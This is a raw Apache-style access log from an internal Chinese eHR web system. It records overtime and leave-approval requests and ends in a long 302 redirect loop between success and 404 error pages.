/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:40:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.40.45 - - [01/Dec/2025:08:40:57 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4498 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:40:57 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 4498 192.168.11.104 - - [01/Dec/2025:08:40:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6973192214789637 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:40:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6973192214789637 HTTP/1.1" 200 8988 192.168.11.104 - - [01/Dec/2025:08:41:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6973192214789637 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6973192214789637" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:41:01 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6973192214789637 HTTP/1.1" 200 27500 192.168.11.108 - - [01/Dec/2025:08:41:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12103 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:41:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 12103 192.168.11.108 - - [01/Dec/2025:08:42:01 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3995 "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:42:01 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 3995 192.168.11.108 - - [01/Dec/2025:08:42:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:42:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [01/Dec/2025:08:42:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 76884 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [01/Dec/2025:08:42:05 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 76884 192.168.11.104 - - [01/Dec/2025:08:42:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5114 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:42:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 5114 192.168.11.104 - - [01/Dec/2025:08:42:26 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:42:26 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.104 - - [01/Dec/2025:08:42:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:42:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 192.168.11.104 - - [01/Dec/2025:08:42:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19406 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:42:30 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19406 192.168.11.104 - - [01/Dec/2025:08:42:33 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:42:33 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.104 - - [01/Dec/2025:08:42:33 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [01/Dec/2025:08:42:33 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.40.45 - - [01/Dec/2025:08:44:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10436 192.168.40.45 - - [01/Dec/2025:08:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 79361 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 79361 192.168.40.45 - - [01/Dec/2025:08:44:47 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:47 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132639%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132639&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132639%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132639&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:48 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:49 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.45 - - [01/Dec/2025:08:44:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.45 - - [01/Dec/2025:08:44:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 